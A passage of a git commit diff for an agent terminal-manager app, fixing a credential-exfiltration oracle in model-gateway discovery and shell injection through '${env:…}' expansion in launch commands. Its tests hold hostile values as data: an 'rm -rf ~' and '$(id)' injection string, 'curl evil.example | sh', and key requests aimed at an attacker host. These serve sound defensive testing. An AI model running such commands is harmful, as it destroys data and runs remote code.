Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(security): close the env-oracle IPC pair and quote env expansion by construction
enes759c39da737a
diff --git a/src/core/agent-env-ipc.test.ts b/src/core/agent-env-ipc.test.tsindex abff3ec2f..4459b2419 100644--- a/src/core/agent-env-ipc.test.ts+++ b/src/core/agent-env-ipc.test.ts@@ -1,6 +1,9 @@import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { IPC } from '../shared/ipc'-import { MODEL_GATEWAY_SECRET_REF } from '../shared/agents/model-gateway'+import {+ MODEL_GATEWAY_SECRET_REF,+ type ModelGatewaySettings+} from '../shared/agents/model-gateway'import { registerAgentEnvIpc } from './agent-env-ipc'import { ModelGatewayCredentialService } from './model-gateway-credentials'import { fakePlatform, type FakePlatform } from './platform-fake'@@ -12,6 +15,7 @@ describe('model gateway discovery API-key expansion', () => {let inheritedKey: string | undefinedlet credentials: ModelGatewayCredentialServicelet storedKey: string | null+ let savedGateway: ModelGatewaySettings | undefinedbeforeEach(async () => {inheritedKey = process.env.NODETERM_TEST_GATEWAY_KEY@@ -36,7 +40,8 @@ describe('model gateway discovery API-key expansion', () => {}})await credentials.init()- registerAgentEnvIpc(credentials)+ savedGateway = undefined+ registerAgentEnvIpc(() => savedGateway, credentials)})afterEach(() => {@@ -48,6 +53,10 @@ describe('model gateway discovery API-key expansion', () => {it('expands the key in core before authenticating model discovery', async () => {process.env.NODETERM_TEST_GATEWAY_KEY = 'vk-from-env'+ savedGateway = {+ baseUrl: 'https://bifrost.example.test',+ apiKey: '${env:NODETERM_TEST_GATEWAY_KEY}'+ }const result = await fake.handlers[IPC.agentDiscoverModels]({baseUrl: 'https://bifrost.example.test',@@ -71,6 +80,10 @@ describe('model gateway discovery API-key expansion', () => {it('does not make a request when the referenced variable is unset', async () => {delete process.env.NODETERM_TEST_GATEWAY_KEY+ savedGateway = {+ baseUrl: 'https://bifrost.example.test',+ apiKey: '${env:NODETERM_TEST_GATEWAY_KEY}'+ }const result = await fake.handlers[IPC.agentDiscoverModels]({baseUrl: 'https://bifrost.example.test',@@ -89,6 +102,7 @@ describe('model gateway discovery API-key expansion', () => {await expect(fake.handlers[IPC.agentGatewayCredentialSave]('stored-gateway-key')).resolves.toEqual({ hasStoredKey: true, storage: 'encrypted' })+ savedGateway = { baseUrl: 'https://gateway.example.test', apiKey: MODEL_GATEWAY_SECRET_REF }const result = await fake.handlers[IPC.agentDiscoverModels]({baseUrl: 'https://gateway.example.test',@@ -113,4 +127,70 @@ describe('model gateway discovery API-key expansion', () => {storage: 'encrypted'})})-})++ // ── The exfiltration-oracle gate ─────────────────────────────────────────────────────────────+ // `platform().handle` answers relay peers and Server Edition WS clients, and the settings+ // payload — baseUrl included — is caller-supplied. Without the gate, discovery would resolve+ // the stored key (or ANY host env var) and send it as a bearer token to whatever URL the caller+ // named. These tests prove the refusal happens BEFORE any request is made.++ it('REFUSES to send the stored key to a caller-chosen URL', async () => {+ await fake.handlers[IPC.agentGatewayCredentialSave]('stored-gateway-key')+ savedGateway = { baseUrl: 'https://gateway.example.test', apiKey: MODEL_GATEWAY_SECRET_REF }++ const result = await fake.handlers[IPC.agentDiscoverModels]({+ baseUrl: 'https://attacker.example.test',+ apiKey: MODEL_GATEWAY_SECRET_REF+ })++ expect(result).toEqual({+ models: [],+ error:+ 'Stored or environment API keys are only sent to the saved gateway URL — save the gateway settings first.'+ })+ expect(fetchMock).not.toHaveBeenCalled()+ })++ it('REFUSES to resolve an env-var reference for a caller-chosen URL', async () => {+ process.env.NODETERM_TEST_GATEWAY_KEY = 'vk-from-env'+ savedGateway = { baseUrl: 'https://gateway.example.test', apiKey: MODEL_GATEWAY_SECRET_REF }++ const result = await fake.handlers[IPC.agentDiscoverModels]({+ baseUrl: 'https://attacker.example.test',+ apiKey: '${env:NODETERM_TEST_GATEWAY_KEY}'+ })++ expect(result).toMatchObject({ models: [] })+ expect(fetchMock).not.toHaveBeenCalled()+ })++ it('REFUSES references when no gateway has been saved at all', async () => {+ process.env.NODETERM_TEST_GATEWAY_KEY = 'vk-from-env'+ savedGateway = undefined++ const result = await fake.handlers[IPC.agentDiscoverModels]({+ baseUrl: 'https://bifrost.example.test',+ apiKey: '${env:NODETERM_TEST_GATEWAY_KEY}'+ })++ expect(result).toMatchObject({ models: [] })+ expect(fetchMock).not.toHaveBeenCalled()+ })++ it('still tests a LITERAL key against an unsaved URL (the pre-save Settings flow)', async () => {+ savedGateway = undefined++ const result = await fake.handlers[IPC.agentDiscoverModels]({+ baseUrl: 'https://new-gateway.example.test',+ apiKey: 'vk-typed-into-the-form'+ })++ expect(result).toEqual({ models: [{ id: 'openai/gpt-5.5', provider: 'openai' }] })+ expect(fetchMock).toHaveBeenCalledWith(+ 'https://new-gateway.example.test/v1/models',+ expect.objectContaining({+ headers: expect.objectContaining({ Authorization: 'Bearer vk-typed-into-the-form' })+ })+ )+ })+})\ No newline at end of filediff --git a/src/core/agent-env-ipc.ts b/src/core/agent-env-ipc.tsindex cacc11b13..300a49e7d 100644--- a/src/core/agent-env-ipc.ts+++ b/src/core/agent-env-ipc.ts@@ -1,10 +1,12 @@-// Main/server IPC handlers for custom-agent previews and model-gateway credentials. Env expansion-// runs here (against the real `process.env`) because the renderer has no process environment of-// its own; literal gateway keys cross this boundary write-only and are read back only by core.+// Main/server IPC handlers for model-gateway discovery and credentials. Everything registered+// here goes through `platform().handle`, which — deliberately — answers relay peers and Server+// Edition WS clients too (see src/main/platform-electron.ts). That is why the desktop-only env+// snapshot for `${env:VAR}` preview/launch expansion is NOT here: it is a raw `ipcMain.handle`+// in src/main/index.ts, invisible to peers, exactly like the other local-window-only channels.+// Literal gateway keys cross this boundary write-only and are read back only by core.import { IPC } from '../shared/ipc'import { platform } from './platform'-import { assembleLaunchCommand, type LaunchInputs } from '../shared/agents/launch'import {modelGatewayRoutes,parseGatewayModels,@@ -23,13 +25,31 @@ const DISCOVERY_TIMEOUT_MS = 10_000*/async function discoverModels(settings: ModelGatewaySettings,+ saved: ModelGatewaySettings | undefined,storedSecret: string | null): Promise<ModelDiscoveryResult> {const routes = modelGatewayRoutes(settings?.baseUrl ?? '')+ const apiKeyField = settings?.apiKey ?? ''+ // SECURITY GATE — this handler is reachable by relay peers and Server Edition WS clients, and+ // `settings` (URL included) is caller-supplied. `${secret:…}` / `${env:…}` references resolve+ // against HOST-side state, so resolving one for a caller-chosen URL would turn discovery into a+ // credential-exfiltration oracle: ask for the stored key (or any env var) and point baseUrl at+ // your own host. References therefore resolve ONLY when the requested baseUrl is byte-identical+ // to the persisted gateway URL; a literal key pasted into the form is the caller's own and may+ // be tested against any URL (the pre-save "does this key work?" flow in Settings).+ const isReference = apiKeyField.includes('${')+ const trusted = !!settings?.baseUrl && settings.baseUrl === saved?.baseUrl+ if (isReference && !trusted) {+ return {+ models: [],+ error:+ 'Stored or environment API keys are only sent to the saved gateway URL — save the gateway settings first.'+ }+ }const resolvedKey = resolveModelGatewayApiKey(- settings?.apiKey ?? '',- process.env,- storedSecret+ apiKeyField,+ trusted ? process.env : {},+ trusted ? storedSecret : null)const apiKey = resolvedKey.valueif (!routes) return { models: [], error: 'Enter a valid HTTP(S) gateway URL.' }@@ -78,24 +98,15 @@ async function discoverModels(}}-/** A string-only snapshot of `process.env` (undefined entries omitted), for `${env:VAR}` expansion- * in the renderer's preview. */-function envSnapshot(): Record<string, string> {- const out: Record<string, string> = {}- for (const [k, v] of Object.entries(process.env)) {- if (typeof v === 'string') out[k] = v- }- return out-}--/** Register env snapshot, preview, discovery, and write-only gateway-credential handlers. */-export function registerAgentEnvIpc(credentials?: ModelGatewayCredentialService): void {- platform().handle(IPC.envSnapshot, () => envSnapshot())- platform().handle(IPC.agentPreviewCommand, (inputs: LaunchInputs) =>- assembleLaunchCommand(inputs, envSnapshot())- )+/** Register gateway discovery and write-only gateway-credential handlers. `getSavedGateway` reads+ * the PERSISTED gateway settings — the trust anchor that keeps discovery from resolving stored /+ * env key references for a caller-chosen URL (see the gate in `discoverModels`). */+export function registerAgentEnvIpc(+ getSavedGateway: () => ModelGatewaySettings | undefined,+ credentials?: ModelGatewayCredentialService+): void {platform().handle(IPC.agentDiscoverModels, (settings: ModelGatewaySettings) =>- discoverModels(settings, credentials?.readForHost() ?? null)+ discoverModels(settings, getSavedGateway(), credentials?.readForHost() ?? null))platform().handle(IPC.agentGatewayCredentialStatus, () =>credentials?.status() ?? { hasStoredKey: false, storage: 'unavailable' as const }diff --git a/src/main/index.ts b/src/main/index.tsindex f7fc22309..118c6f23f 100644--- a/src/main/index.ts+++ b/src/main/index.ts@@ -678,9 +678,21 @@ app.whenReady().then(async () => {}settingsStore.registerIpc()sshStore.registerIpc()- // Custom-agent preview/expansion + gateway discovery/credential IPC (renderer has no- // process.env and never receives a stored literal key).- registerAgentEnvIpc(gatewayCredentials)+ // Gateway discovery/credential IPC (peer-reachable by design; the renderer never receives a+ // stored literal key, and discovery resolves key REFERENCES only for the saved gateway URL).+ registerAgentEnvIpc(() => settingsStore.get().modelGateway, gatewayCredentials)+ // The `${env:VAR}` snapshot for custom-agent expansion is DESKTOP-WINDOW-ONLY, so it is a raw+ // `ipcMain.handle` on purpose (see the handler-table comment in platform-electron.ts): a+ // `platform().handle` registration would answer relay peers too — a paired phone or remote tab+ // could read every API key in this process's environment. The browser/relay bridges hardcode+ // an empty snapshot instead, and expansion there degrades to the missing-env refusal.+ ipcMain.handle(IPC.envSnapshot, () => {+ const out: Record<string, string> = {}+ for (const [k, v] of Object.entries(process.env)) {+ if (typeof v === 'string') out[k] = v+ }+ return out+ })ptyManager.init(() => settingsStore.get(),() => gatewayCredentials.readForHost()diff --git a/src/preload/index.ts b/src/preload/index.tsindex 76835be62..602ddfdae 100644--- a/src/preload/index.ts+++ b/src/preload/index.ts@@ -441,7 +441,6 @@ const api: NodeTerminalApi = {},agent: {envSnapshot: () => ipcRenderer.invoke(IPC.envSnapshot),- previewCommand: (inputs) => ipcRenderer.invoke(IPC.agentPreviewCommand, inputs),discoverModels: (settings) => ipcRenderer.invoke(IPC.agentDiscoverModels, settings),gatewayCredentialStatus: () => ipcRenderer.invoke(IPC.agentGatewayCredentialStatus),saveGatewayCredential: (apiKey) =>diff --git a/src/renderer/boot.tsx b/src/renderer/boot.tsxindex 7016ce4ce..3bac44f92 100644--- a/src/renderer/boot.tsx+++ b/src/renderer/boot.tsx@@ -4,6 +4,7 @@ import App from './App'import { ensureClaudeCliCaps } from './state/permissionMode'import { ensureCodexIdentityCaps } from './state/codexIdentity'import { initAgentResolver } from './state/agent-resolver'+import { refreshAgentEnv } from './lib/agentEnv'import './styles.css'import './tailwind.css'@@ -22,6 +23,13 @@ void ensureClaudeCliCaps()// node ran before this feature — never a launcher path that might not resolve.void ensureCodexIdentityCaps()+// One env snapshot for `${env:VAR}` expansion, fetched up front and cached (src/renderer/lib/+// agentEnv.ts): the Settings preview and every launch path expand against the same object, so the+// preview cannot drift from the typed command. Browser/relay bridges resolve `{}` by design and+// expansion degrades to the missing-env refusal. Not awaited — an unexpanded first-frame launch+// of a `${env:…}`-referencing custom agent refuses via missingEnv rather than blocking boot.+void refreshAgentEnv()+// Note: StrictMode is intentionally not used — its double mount in dev would open// two PTY sessions per terminal node.ReactDOM.createRoot(document.getElementById('root') as HTMLElement).render(<App />)diff --git a/src/renderer/bridge/stubs.ts b/src/renderer/bridge/stubs.tsindex 6b8ad2ba6..9e8bee22e 100644--- a/src/renderer/bridge/stubs.ts+++ b/src/renderer/bridge/stubs.ts@@ -273,11 +273,10 @@ export function buildStubApi(): Omit<readTranscript: U('claude.readTranscript')},agent: {- // The preview/expansion IPC runs main-side (the renderer has no process.env). In the browser- // (Server Edition) ws-bridge overrides this with the real handler; the stub returns an empty- // env + unexpanded command so the preview degrades to "unavailable" rather than throwing.+ // No env snapshot outside the desktop window: the stub (and ws-bridge, identically) answers+ // an empty env, so `${env:VAR}` expansion reports every referenced var as missing and the+ // launch/preview paths degrade to the missing-env refusal instead of a host-env dump.envSnapshot: () => Promise.resolve({}),- previewCommand: U('agent.previewCommand'),discoverModels: () => Promise.resolve({ models: [], error: 'Model discovery is unavailable.' }),gatewayCredentialStatus: () =>Promise.resolve({ hasStoredKey: false, storage: 'unavailable' }),diff --git a/src/renderer/bridge/ws-bridge.ts b/src/renderer/bridge/ws-bridge.tsindex e8c9616ef..177b77828 100644--- a/src/renderer/bridge/ws-bridge.ts+++ b/src/renderer/bridge/ws-bridge.ts@@ -291,11 +291,11 @@ export function buildRealApi(}const agent: NodeTerminalApi['agent'] = {- envSnapshot: () => client.request(IPC.envSnapshot) as Promise<Record<string, string>>,- previewCommand: (inputs) =>- client.request(IPC.agentPreviewCommand, inputs) as ReturnType<- NodeTerminalApi['agent']['previewCommand']- >,+ // Deliberately NOT a request: the server registers no env-snapshot handler (a full host-env+ // dump answerable by any authenticated WS client is the PR #195 leak class at the RPC layer).+ // An empty snapshot makes `${env:VAR}` expansion surface every referenced var as missing, and+ // the launch paths refuse rather than type a mangled line.+ envSnapshot: () => Promise.resolve({}),discoverModels: (gateway) =>client.request(IPC.agentDiscoverModels, gateway) as ReturnType<NodeTerminalApi['agent']['discoverModels']diff --git a/src/renderer/components/settings/sections/CustomAgentsSection.tsx b/src/renderer/components/settings/sections/CustomAgentsSection.tsxindex 98a177cfb..7d1256e25 100644--- a/src/renderer/components/settings/sections/CustomAgentsSection.tsx+++ b/src/renderer/components/settings/sections/CustomAgentsSection.tsx@@ -1,4 +1,4 @@-import { useEffect, useState } from 'react'+import { useMemo, useState } from 'react'import { useSettings } from '../../../state/settings'import { firstEnabledBuiltin } from '../../../state/agentAvailability'import type { CustomAgent } from '@shared/types'@@ -15,6 +15,8 @@ import { Button } from '@renderer/ui/Button'import { Input } from '@renderer/ui/Input'import { Select } from '@renderer/ui/Select'import { uuid } from '@renderer/lib/uuid'+import { assembleLaunchCommand } from '@shared/agents/launch'+import { agentEnvSnapshot } from '@renderer/lib/agentEnv'const ROWS = {custom: {@@ -284,38 +286,30 @@ function EnvRow({}/**- * Live, fully-expanded preview of the command nodeterm will run for this agent. Assembled + expanded- * main-side (the renderer has no process.env) so it is identical to the real launch. Re-fetches on a- * debounce as the agent's fields change.+ * Live, fully-expanded preview of the command nodeterm will run for this agent. Assembled with the+ * SAME builder and the SAME cached env snapshot every launch path uses (shared/agents/launch.ts ++ * lib/agentEnv.ts) — no IPC, so the preview IS the typed line by construction and cannot drift.+ * In the browser / over relay the snapshot is empty by design, and the missing-env markers shown+ * here are exactly what makes the launch path refuse.*/function CommandPreview({ agent }: { agent: CustomAgent }): React.JSX.Element | null {- const [preview, setPreview] = useState<{ command: string; missingEnv: string[] } | null>(null)- // Re-run when any field that affects the command changes.+ // Re-computed when any field that affects the command changes.const sig = `${agent.id}|${agent.launchCmd}|${agent.args ?? ''}|${agent.baseAgent ?? ''}|${agent.promptInjectionMode ?? ''}`- useEffect(() => {- let alive = true- const t = setTimeout(() => {- window.nodeTerminal.agent- .previewCommand({+ const preview = useMemo(+ () =>+ assembleLaunchCommand(+ {agentId: agent.id as AgentId,customAgent: agent,// No prompt: nodeterm launches the agent BARE and you type the prompt into it after it// starts. The preview shows exactly the launch line that gets typed into the shell.sessionIdFlagSupported: true- })- .then((r) => {- if (alive) setPreview(r)- })- .catch(() => {- if (alive) setPreview(null)- })- }, 250)- return () => {- alive = false- clearTimeout(t)- }+ },+ agentEnvSnapshot()+ ),// eslint-disable-next-line react-hooks/exhaustive-deps- }, [sig])+ [sig]+ )if (!preview) return nullreturn (<div className="rounded-md bg-bg-2 p-2">diff --git a/src/renderer/lib/agentEnv.ts b/src/renderer/lib/agentEnv.tsnew file mode 100644index 000000000..92b3e1c5a--- /dev/null+++ b/src/renderer/lib/agentEnv.ts@@ -0,0 +1,45 @@+// The renderer-side environment for `${env:VAR}` expansion in custom-agent launch commands.+//+// One snapshot, fetched once from the desktop main process and cached: every consumer — the+// Settings command preview, fresh node creation (`workspace.ts createAgentNode`), and the+// cold-restore / variant-reopen resume paths in `TerminalNode.tsx` — expands against THIS object,+// and the preview uses the same assembler (`shared/agents/launch.ts`). Same code + same env ⇒ the+// preview cannot drift from the typed launch line, which is the guarantee the Settings card makes.+//+// On the browser (Server Edition) and over relay the bridge resolves `{}` by design: a host env+// dump must never cross to a peer (the PR #195 credential-leak class at the RPC layer). There,+// every `${env:…}` reference reports as missing and the launch paths refuse rather than type a+// mangled command — and the preview shows the same refusal, so the parity holds in the degraded+// case too.+//+// The snapshot is static by nature: a desktop app's `process.env` is fixed at app launch, so+// there is nothing to re-poll. `refreshAgentEnv()` exists for boot and for tests.++let cached: Record<string, string> = {}+let fetched = false++/** The cached env snapshot. `{}` until `refreshAgentEnv()` resolves (and forever on browser/relay). */+export function agentEnvSnapshot(): Record<string, string> {+ return cached+}++/** Fetch the snapshot once at renderer boot. Safe to call again (tests, HMR); never rejects. */+export async function refreshAgentEnv(): Promise<void> {+ try {+ cached = await window.nodeTerminal.agent.envSnapshot()+ } catch {+ cached = {}+ }+ fetched = true+}++/** Has the boot fetch settled? (Distinguishes "empty because browser" from "not asked yet".) */+export function agentEnvReady(): boolean {+ return fetched+}++/** Test seam. */+export function setAgentEnvForTests(env: Record<string, string>): void {+ cached = env+ fetched = true+}diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsxindex f09b37fc4..06f340913 100644--- a/src/renderer/nodes/TerminalNode.tsx+++ b/src/renderer/nodes/TerminalNode.tsx@@ -159,6 +159,7 @@ import {} from '@shared/agents/config'import { withPermissionMode } from '@shared/agents/approval-mode'import { assembleResumeCommand } from '@shared/agents/launch'+import { agentEnvSnapshot } from '@renderer/lib/agentEnv'import { normalizedAgentModel } from '@shared/agents/model-gateway'import { ensureActivePermissionMode } from '../state/permissionMode'import { buildSshArgs, sshConnectionIdForProject, sshHostKey, type SshConnection } from '@shared/ssh'@@ -2806,7 +2807,10 @@ export function TerminalNode({model: data.agentModel,sharedIdentity: shared},- {}+ // The boot-time desktop env snapshot — the same object fresh launch and the Settings+ // preview expand against, so a ${env:…}-referencing custom agent cold-restores with+ // the exact line it launched with. Empty on browser/relay by design.+ agentEnvSnapshot())if (cmd) writeWhenShellReady(cmd) // same shell-startup race as initialCommand}@@ -2938,8 +2942,11 @@ export function TerminalNode({// Re-resolved at call time for the same reason as there: the mode is a property of how a// session is launched, not of the node. Inheritance-aware: a custom agent's baseAgent/args// are re-applied so a restart of a claude-base proxy resumes correctly.- // Launch-command / args substitutions must use the host that owns this pane. `api` is- // session-scoped, so a relay tab asks its host rather than expanding against this Mac.+ // Env for ${env:…} substitution in launchCmd/args. `api` is session-scoped: a LOCAL pane+ // resolves the desktop window's raw-ipcMain snapshot; a relay tab's host registers no+ // env-snapshot handler at all (a host env dump must never cross to a peer — the PR #195+ // leak class), so the request settles empty and the missingEnv gate below refuses instead+ // of typing a mangled line. Builtins reference no env tokens, so they skip the round-trip.const launchEnv = customTarget? await api.agent.envSnapshot().catch(() => ({})): {}@@ -3066,7 +3073,9 @@ export function TerminalNode({permissionMode: await ensureActivePermissionMode(agentId),sharedIdentity: false},- {}+ // Same boot-time env snapshot as fresh launch / cold restore, so a wake types the same+ // line the node launched with (empty on browser/relay by design).+ agentEnvSnapshot())// Refused BEFORE anything is written. `performResumePhase` gates on this same bare command// and would refuse too — but the KILL_LINE below is ours, so leaving this check to itdiff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.tsindex 5a0685db9..8cf214f52 100644--- a/src/renderer/state/workspace.ts+++ b/src/renderer/state/workspace.ts@@ -3,6 +3,7 @@ import type { CanvasMutation, CanvasNodeState, ClaudeAccount, NodeKind, PendingLimport type { AgentId, AgentPermissionMode } from '@shared/agents/config'import { agentConfig, supportsSessionIdFlag } from '@shared/agents/config'import { assembleLaunchCommand } from '@shared/agents/launch'+import { agentEnvSnapshot } from '../lib/agentEnv'import { uuid } from '@renderer/lib/uuid'import { claudeCliCapsNow } from './permissionMode'import { codexSharedIdentity } from './codexIdentity'@@ -379,12 +380,11 @@ export function createAgentNode(const mintedSessionId = sessionIdFlagSupported ? uuid() : undefined// Command assembly is delegated to the ONE shared builder (src/shared/agents/launch.ts), used by// fresh launch AND cold-restore resume, so a custom agent's baseAgent/args/expansion are applied- // identically in both paths. The renderer has no process.env, so expansion here runs against an- // empty snapshot — but the FIRST-LAUNCH command typed into the shell only carries ${env:...} when- // the user put it in launchCmd/args, and the real env merge happens main-side in pty-manager- // (env values are injected as process env, NOT typed into the shell, so they never needed- // renderer-side expansion). For a builtin with no custom args this is byte-identical to the old- // hand-built command line.+ // identically in both paths. ${env:...} in launchCmd/args expands against the boot-time env+ // snapshot (lib/agentEnv.ts) — the SAME object the Settings preview expands against, so the+ // typed line is the previewed line. Env-var VALUES (the env map) are separate: pty-manager+ // injects them as process env main-side, never into the typed command. For a builtin with no+ // custom args this is byte-identical to the old hand-built command line.const customAgent = agentConfig(agentId)? undefined: useSettings.getState().settings.customAgents.find((c) => c.id === agentId)@@ -401,10 +401,9 @@ export function createAgentNode(// folds in the SSH answer (a host has no launcher installed yet, so a remote node stays bare).sharedIdentity: codexSharedIdentity(ssh)},- // The renderer has no process.env; pass an empty record. ${env:...} in launchCmd/args resolves- // to empty here, but that only affects the TYPED command — env-var VALUES are injected as- // process env by pty-manager (main-side, against the real env), not typed into the shell.- {}+ // The boot-time snapshot of the desktop env (empty on browser/relay by design, where the+ // missing-env warning below is the honest outcome — the same markers the preview shows).+ agentEnvSnapshot())if (missingEnv.length) {// A missing var in the typed command (launchCmd/args) would launch with a blank — surface it,diff --git a/src/server/index.ts b/src/server/index.tsindex f8a03ecd8..b58c46ed1 100644--- a/src/server/index.ts+++ b/src/server/index.ts@@ -185,9 +185,12 @@ export async function startServer(console.warn('[model-gateway] could not migrate the legacy API key to secret storage', error)}settingsStore.registerIpc()- // Custom-agent preview/expansion + gateway discovery/credential IPC (browser has no process.env- // and never receives a stored literal key).- registerAgentEnvIpc(gatewayCredentials)+ // Gateway discovery/credential IPC. NO env snapshot on the server: every registered handler+ // here is dispatchable by any authenticated WS client, and the server process environment is+ // exactly the secret store that must never cross that boundary. Browser clients hardcode an+ // empty snapshot and `${env:VAR}` expansion degrades to the missing-env refusal; discovery+ // resolves key REFERENCES only for the saved gateway URL (the exfil-oracle gate in core).+ registerAgentEnvIpc(() => settingsStore.get().modelGateway, gatewayCredentials)ptyManager.init(() => settingsStore.get(),() => gatewayCredentials.readForHost()diff --git a/src/shared/agents/launch.test.ts b/src/shared/agents/launch.test.tsindex db8864705..a3a416cfe 100644--- a/src/shared/agents/launch.test.ts+++ b/src/shared/agents/launch.test.ts@@ -194,3 +194,93 @@ describe('assembleResumeCommand', () => {).toBe('aider')})})++describe('quoting by construction — env values can never become shell syntax or extra argv', () => {+ const proxyWith = (args: string): CustomAgent => ({+ id: 'custom:proxy',+ label: 'Proxy',+ launchCmd: 'claude-wopr',+ baseAgent: 'claude',+ args+ })++ it('a value carrying spaces stays ONE argument (the token boundary is fixed before expansion)', () => {+ const { command } = assembleLaunchCommand(+ { agentId: 'custom:aider', customAgent: proxyWith('--model ${env:SPACED}') },+ { SPACED: 'two words' }+ )+ expect(command).toBe("claude-wopr '--model' 'two words'")+ })++ it('a value carrying `;`, backticks, and $() reaches the shell as ONE literal argument', () => {+ const hostile = "x; rm -rf ~; `touch /tmp/pwn`; $(id) --dangerously-skip-permissions"+ const { command } = assembleLaunchCommand(+ { agentId: 'custom:aider', customAgent: proxyWith('--model ${env:EVIL}') },+ { EVIL: hostile }+ )+ // Exactly one argv token after --model: the whole hostile string, single-quoted. Nothing in it+ // can smuggle a flag (it is one argument) or read as syntax (it is quoted).+ expect(command).toBe(`claude-wopr '--model' '${hostile}'`)+ // The byte-equality above IS the proof: the entire hostile string sits inside one pair of+ // single quotes (it contains no quote of its own to break out with), so the flag it carries+ // is data inside --model's value, not a fourth argv token.+ expect(command.endsWith("'")).toBe(true)+ })++ it('a launchCmd env value expanding to shell metacharacters is fenced into a literal', () => {+ const { command } = assembleLaunchCommand(+ {+ agentId: 'custom:aider',+ customAgent: {+ id: 'custom:aider',+ label: 'Aider',+ launchCmd: '${env:AGENT_BIN}',+ promptInjectionMode: 'argv'+ }+ },+ { AGENT_BIN: 'agent; curl evil.example | sh' }+ )+ expect(command).toBe("'agent; curl evil.example | sh'")+ })++ it('a launchCmd env value that is a plain path stays bare', () => {+ const { command } = assembleLaunchCommand(+ {+ agentId: 'custom:aider',+ customAgent: {+ id: 'custom:aider',+ label: 'Aider',+ launchCmd: '${env:AGENT_BIN} serve',+ promptInjectionMode: 'argv'+ }+ },+ { AGENT_BIN: '/opt/agents/bin/aider' }+ )+ expect(command).toBe('/opt/agents/bin/aider serve')+ })++ it('a launchCmd with no env tokens passes through byte-for-byte, raw shell text included', () => {+ const { command } = assembleLaunchCommand(+ {+ agentId: 'custom:aider',+ customAgent: {+ id: 'custom:aider',+ label: 'Aider',+ launchCmd: 'FOO=1 aider --no-git',+ promptInjectionMode: 'argv'+ }+ },+ {}+ )+ expect(command).toBe('FOO=1 aider --no-git')+ })++ it('an args token whose reference is unset vanishes and is reported missing', () => {+ const { command, missingEnv } = assembleLaunchCommand(+ { agentId: 'custom:aider', customAgent: proxyWith('--model ${env:GONE} --verbose') },+ {}+ )+ expect(command).toBe("claude-wopr '--model' '--verbose'")+ expect(missingEnv).toEqual(['GONE'])+ })+})diff --git a/src/shared/agents/launch.ts b/src/shared/agents/launch.tsindex 50c50c69a..d36b576a2 100644--- a/src/shared/agents/launch.ts+++ b/src/shared/agents/launch.ts@@ -1,10 +1,12 @@// Pure command assembly — the ONE place an agent's launch / resume command line is built.//-// Used by the renderer (fresh node creation in `workspace.ts createAgentNode`, cold-restore resume-// in `TerminalNode.tsx`) and by the main process (the preview IPC handler, so the settings card-// can show the exact command nodeterm will run). Pure: the environment is an explicit parameter-// (the renderer passes an IPC-fetched snapshot; main passes `process.env`), so the same function-// serves every caller and the preview can never drift from the real launch.+// Used by the renderer only: fresh node creation (`workspace.ts createAgentNode`), cold-restore /+// wake / variant resume (`TerminalNode.tsx`), and the Settings command preview+// (`CustomAgentsSection.tsx`). Pure: the environment is an explicit parameter, and every caller+// passes the SAME boot-time snapshot (src/renderer/lib/agentEnv.ts) — one assembler, one env, so+// the preview cannot drift from the real launch by construction. There is deliberately no+// main/server preview IPC: an endpoint that expands ${env:…} for a caller-supplied agent record+// is an environment-variable oracle for relay peers (the #171/#190 review).//// Inheritance: a custom agent with a `baseAgent` resolves its prompt convention, separator, and// capability flags through that base harness (`capabilityAgentId`), so a claude-compatible proxy@@ -12,7 +14,7 @@// `launchCmd`, `args`, and `env` override the binary and the surroundings.import type { CustomAgent } from '../types'-import { shellSingleQuote, shellSplit } from '../shell-quote'+import { shellQuoteIfNeeded, shellSingleQuote, shellSplit } from '../shell-quote'import { expandEnvVars } from './expansion'import {agentLaunchProgram,@@ -71,17 +73,49 @@ export interface AssembledCommand {missingEnv: string[]}-/** Expand + shell-split + re-quote a custom agent's `args` into a safe argv fragment. Expansion- * (`${env:…}`) runs first; the shell-split then tokenizes; each token is single-quoted so a- * resolved value carrying spaces or metacharacters stays one argument and a stray `;`/`$` in the- * raw text can never reach the shell as syntax. Returns '' when there are no args. */+/** Shell-split + expand + re-quote a custom agent's `args` into a safe argv fragment. The split+ * runs FIRST, so token boundaries are fixed before any environment value enters the string;+ * `${env:…}` then expands per token and each token is single-quoted — a resolved value carrying+ * spaces or metacharacters stays ONE argument, and a stray `;`/`$`/backtick in an env value can+ * never reach the shell as syntax or smuggle an extra flag. A token whose env references all+ * expand to nothing vanishes (matching what an unquoted `$VAR` does at a real shell); the names+ * are still reported in `missing`. Returns '' when there are no args. */function expandedArgs(raw: string, env: Record<string, string | undefined>): { fragment: string; missing: string[] } {if (!raw?.trim()) return { fragment: '', missing: [] }- const { value, missing } = expandEnvVars(raw, env)- const tokens = shellSplit(value).map(shellSingleQuote)+ const missing: string[] = []+ const tokens: string[] = []+ for (const token of shellSplit(raw)) {+ const r = expandEnvVars(token, env)+ missing.push(...r.missing)+ if (r.value === '' && token !== '') continue+ tokens.push(shellSingleQuote(r.value))+ }return { fragment: tokens.join(' '), missing }}+/** Expand `${env:…}` in a custom `launchCmd`. A launchCmd with no env tokens — every builtin, and+ * almost every custom agent — is returned byte-for-byte, raw shell text included, exactly as it+ * always was. When a token DOES reference the environment, the whole command is re-tokenized and+ * each token re-quoted unless shell-inert: the program position is typed unquoted into the pane,+ * so an env value expanding to `x; rm -rf ~` must land as literal text, never as syntax. This is+ * the local-shell-injection hole from the #171/#190 review, closed by construction instead of by+ * trusting whoever set the variable. */+function expandedProgram(+ raw: string,+ env: Record<string, string | undefined>+): { value: string; missing: string[] } {+ if (!raw.includes('${env:')) return { value: raw, missing: [] }+ const missing: string[] = []+ const tokens: string[] = []+ for (const token of shellSplit(raw)) {+ const r = expandEnvVars(token, env)+ missing.push(...r.missing)+ if (r.value === '' && token !== '') continue+ tokens.push(shellQuoteIfNeeded(r.value))+ }+ return { value: tokens.join(' '), missing }+}+/*** Assemble the FIRST-LAUNCH command: `<launchCmd> <args> [sep] [prompt] [permission flag]* [session-id flag]`. The prompt and flags land per the resolved prompt convention (separator@@ -95,7 +129,7 @@ export function assembleLaunchCommand(const eff = resolveAgentConfig(inputs.agentId, inputs.customAgent)const capId = 